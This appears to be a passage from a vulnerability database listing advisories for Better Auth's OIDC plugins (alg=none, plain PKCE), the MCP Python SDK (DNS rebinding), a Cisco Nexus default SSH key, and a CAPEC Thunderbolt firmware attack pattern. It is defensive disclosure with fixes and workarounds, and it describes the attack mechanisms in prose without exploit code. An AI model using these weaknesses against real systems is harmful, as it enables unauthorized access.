  • Algorithm-negotiation downgrade: relying parties that read the discovery document without pinning may accept unsigned (alg: "none") tokens.
  • Authorization-code interception: PKCE plain does not protect the authorization code if the URL leaks (Referer headers, browser history, screen capture, proxy logs). PKCE S256 is what protects against that exposure; with plain the protection is absent.
  • OAuth 2.1 / RFC 9700 non-conformance: deployments shipping the defaults are non-compliant with current standards.

Credit

Reported by @subhanUmer.

Resources

Severity
8.7 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "better-auth"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-327",
      "CWE-757"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-07T20:55:41Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Am I affected?\n\nUsers are affected if all of the following are true:\n\n- Their application uses `better-auth` at a version below the patched release.\n- Their application enables `oidcProvider()` from `better-auth/plugins/oidc-provider` or `mcp()` from `better-auth/plugins/mcp` (the mcp plugin delegates to `oidcProvider` and inherits both defaults).\n- For the algorithm-negotiation impact: relying parties of the application\u0027s OIDC server use a JWT verification library that performs algorithm negotiation from the discovery document without pinning to a specific signing algorithm.\n- For the PKCE impact: the authorization URL is exposed to any party other than the user agent and the application\u0027s OP.\n\nIf the application only uses `@better-auth/oauth-provider` (the canonical replacement) and have not enabled the legacy plugins, it is not affected. The new package\u0027s discovery document excludes `none` and its authorize schema rejects `plain` at parse time.\n\nFix:\n\n1. Upgrade to `better-auth@1.6.11` or later.\n2. Migrate from the deprecated `oidcProvider` and `mcp` plugins to `@better-auth/oauth-provider` when feasible.\n3. If developers cannot upgrade their applications, see workarounds below.\n\n### Summary\n\nThe legacy `oidcProvider` and `mcp` plugins exhibit two related defects in their OIDC discovery and authorize surfaces.\n\nThe discovery document advertises `\"none\"` in `id_token_signing_alg_values_supported` (and, for `mcp`, in `resource_signing_alg_values_supported` on the OAuth protected-resource metadata). Any relying party that performs algorithm negotiation from this metadata without pinning to a real signing algorithm may accept unsigned tokens.\n\nPKCE `plain` is enabled by default. The runtime gate in the authorize handler accepts `code_challenge_method=plain` under this default, and a missing `code_challenge_method` parameter is silently downgraded to `\"plain\"` before the allowlist check. Discovery advertises `code_challenge_methods_supported: [\"S256\"]`, contradicting the runtime acceptance of `plain`. RFC 9700 \u00a72.1.1 (OAuth 2.1) explicitly forbids `plain`.\n\n### Details\n\nThe metadata builders unconditionally inject `\"none\"` into the alg list. The runtime authorize gate is structured so a buggy client that strips the `code_challenge_method` parameter still enters the plain code path because the handler rewrites the missing value to `\"plain\"` before the allowlist check fires.\n\n`@better-auth/oauth-provider` (the deprecation target for `oidcProvider`) is not affected by either defect. The metadata builder uses a `JWSAlgorithms` type union that structurally excludes `\"none\"`. The authorize schema is `code_challenge_method: z.literal(\"S256\").optional()`, which rejects `plain` at parse time.\n\n### Patches\n\nFixed in `better-auth@1.6.11`. The legacy `oidcProvider` and `mcp` plugins now:\n\n- Drop `\"none\"` from `id_token_signing_alg_values_supported` (both plugins) and from `resource_signing_alg_values_supported` (`mcp`). Discovery no longer advertises the unsigned-token option.\n- Default `allowPlainCodeChallengeMethod` to `false`. A request that explicitly passes `code_challenge_method=plain` is rejected with `invalid_request` unless the integrator opts in.\n- Reject a `code_challenge` without an accompanying `code_challenge_method` instead of silently rewriting the missing value to `plain`. Clients that send `code_challenge` must also send `code_challenge_method=S256`.\n\nDiscovery and runtime behavior align on `S256` only by default.\n\nIntegrators who must keep plain PKCE for legacy clients can restore the previous shape with `oidcProvider({ allowPlainCodeChallengeMethod: true })` (and likewise for `mcp`). With the opt-in set, a request that omits `code_challenge_method` is treated as `plain` again, preserving backwards compatibility while keeping the secure default for everyone else. Both legacy plugins are deprecated long-term; the recommended migration is `@better-auth/oauth-provider`, which never advertised `none` or accepted plain PKCE.\n\n### Workarounds\n\nIf developers cannot upgrade their applications immediately:\n\n- **Disable plain PKCE explicitly**: set `oidcProvider({ allowPlainCodeChallengeMethod: false })` (and the equivalent on `mcp`). Closes the runtime acceptance of `plain` even though the silent downgrade still rewrites missing methods.\n- **Override the metadata** to drop `\"none\"` from `id_token_signing_alg_values_supported`. For `oidcProvider`, pass `metadata: { id_token_signing_alg_values_supported: [\"RS256\"] }`. For `mcp`, set the same on `options.oidcConfig.metadata`. Verify by curling the `.well-known` endpoint.\n- **Migrate to `@better-auth/oauth-provider`**: the package is the deprecation target and is unaffected by both defects.\n\n### Impact\n\n- **Algorithm-negotiation downgrade**: relying parties that read the discovery document without pinning may accept unsigned (`alg: \"none\"`) tokens.\n- **Authorization-code interception**: PKCE `plain` does not protect the authorization code if the URL leaks (Referer headers, browser history, screen capture, proxy logs). PKCE `S256` is what protects against that exposure; with `plain` the protection is absent.\n- **OAuth 2.1 / RFC 9700 non-conformance**: deployments shipping the defaults are non-compliant with current standards.\n\n### Credit\n\nReported by @subhanUmer.\n\n### Resources\n\n- [CWE-327: Use of a Broken or Risky Cryptographic Algorithm](https://cwe.mitre.org/data/definitions/327.html)\n- [CWE-757: Selection of Less-Secure Algorithm During Negotiation](https://cwe.mitre.org/data/definitions/757.html)\n- [CWE-1188: Insecure Default Initialization of Resource](https://cwe.mitre.org/data/definitions/1188.html)\n- [RFC 9700 \u00a72.1.1: PKCE](https://datatracker.ietf.org/doc/html/rfc9700#section-2.1.1)\n- [RFC 9700 \u00a72.1.2: Token Replay Prevention](https://datatracker.ietf.org/doc/html/rfc9700#section-2.1.2)\n- [RFC 8414 \u00a72: Authorization Server Metadata](https://datatracker.ietf.org/doc/html/rfc8414#section-2)",
  "id": "GHSA-9h47-pqcx-hjr4",
  "modified": "2026-07-07T20:55:41Z",
  "published": "2026-07-07T20:55:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/better-auth/better-auth/security/advisories/GHSA-9h47-pqcx-hjr4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/better-auth/better-auth"
    },
    {
      "type": "WEB",
      "url": "https://github.com/better-auth/better-auth/releases/tag/v1.6.11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Better Auth has insecure cryptographic defaults in oidcProvider: alg=none advertised and plain PKCE accepted by default"
}

GHSA-9H52-P55H-VW2F

Vulnerability from github – Published: 2025-12-02 16:52 – Updated: 2026-07-16 18:30
VLAI
Summary
Model Context Protocol (MCP) Python SDK does not enable DNS rebinding protection by default
Details

Description

The Model Context Protocol (MCP) Python SDK does not enable DNS rebinding protection by default for HTTP-based servers. When an HTTP-based MCP server is run on localhost without authentication using FastMCP with streamable HTTP or SSE transport, and has not configured TransportSecuritySettings, a malicious website could exploit DNS rebinding to bypass same-origin policy restrictions and send requests to the local MCP server. This could allow an attacker to invoke tools or access resources exposed by the MCP server on behalf of the user in those limited circumstances.

Note that running HTTP-based MCP servers locally without authentication is not recommended per MCP security best practices. This issue does not affect servers using stdio transport.

Servers created via FastMCP() now have DNS rebinding protection enabled by default when the host parameter is 127.0.0.1 or localhost. Users are advised to update to version 1.23.0 to receive this automatic protection. Users with custom low-level server configurations using StreamableHTTPSessionManager or SseServerTransport directly should explicitly configure TransportSecuritySettings when running an unauthenticated server on localhost.

Severity
7.6 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.23.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-66416"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-350"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-02T16:52:08Z",
    "nvd_published_at": "2025-12-02T19:15:52Z",
    "severity": "HIGH"
  },
  "details": "### Description\n\nThe Model Context Protocol (MCP) Python SDK does not enable DNS rebinding protection by default for HTTP-based servers. When an HTTP-based MCP server is run on localhost without authentication using `FastMCP` with streamable HTTP or SSE transport, and has not configured `TransportSecuritySettings`, a malicious website could exploit DNS rebinding to bypass same-origin policy restrictions and send requests to the local MCP server. This could allow an attacker to invoke tools or access resources exposed by the MCP server on behalf of the user in those limited circumstances.\n\nNote that running HTTP-based MCP servers locally without authentication is not recommended per MCP security best practices. This issue does not affect servers using stdio transport.\n\nServers created via `FastMCP()` now have DNS rebinding protection enabled by default when the `host` parameter is `127.0.0.1` or `localhost`. Users are advised to update to version `1.23.0` to receive this automatic protection. Users with custom low-level server configurations using `StreamableHTTPSessionManager` or `SseServerTransport` directly should explicitly configure `TransportSecuritySettings` when running an unauthenticated server on localhost.",
  "id": "GHSA-9h52-p55h-vw2f",
  "modified": "2026-07-16T18:30:59Z",
  "published": "2025-12-02T16:52:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/python-sdk/security/advisories/GHSA-9h52-p55h-vw2f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66416"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/python-sdk/commit/d3a184119e4479ea6a63590bc41f01dc06e3fa99"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-9h52-p55h-vw2f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/modelcontextprotocol/python-sdk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/mcp/PYSEC-2026-1617.yaml"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/mcp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Model Context Protocol (MCP) Python SDK does not enable DNS rebinding protection by default"
}

GHSA-9HXX-97W4-FH95

Vulnerability from github – Published: 2022-05-24 16:45 – Updated: 2022-05-24 16:45
VLAI
Details

A vulnerability in the SSH key management for the Cisco Nexus 9000 Series Application Centric Infrastructure (ACI) Mode Switch Software could allow an unauthenticated, remote attacker to connect to the affected system with the privileges of the root user. The vulnerability is due to the presence of a default SSH key pair that is present in all devices. An attacker could exploit this vulnerability by opening an SSH connection via IPv6 to a targeted device using the extracted key materials. An exploit could allow the attacker to access the system with the privileges of the root user. This vulnerability is only exploitable over IPv6; IPv4 is not vulnerable.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-1804"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-05-03T17:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "A vulnerability in the SSH key management for the Cisco Nexus 9000 Series Application Centric Infrastructure (ACI) Mode Switch Software could allow an unauthenticated, remote attacker to connect to the affected system with the privileges of the root user. The vulnerability is due to the presence of a default SSH key pair that is present in all devices. An attacker could exploit this vulnerability by opening an SSH connection via IPv6 to a targeted device using the extracted key materials. An exploit could allow the attacker to access the system with the privileges of the root user. This vulnerability is only exploitable over IPv6; IPv4 is not vulnerable.",
  "id": "GHSA-9hxx-97w4-fh95",
  "modified": "2022-05-24T16:45:09Z",
  "published": "2022-05-24T16:45:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1804"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190501-nexus9k-sshkey"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

No mitigation information available for this CWE.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.

← Back to the CWE list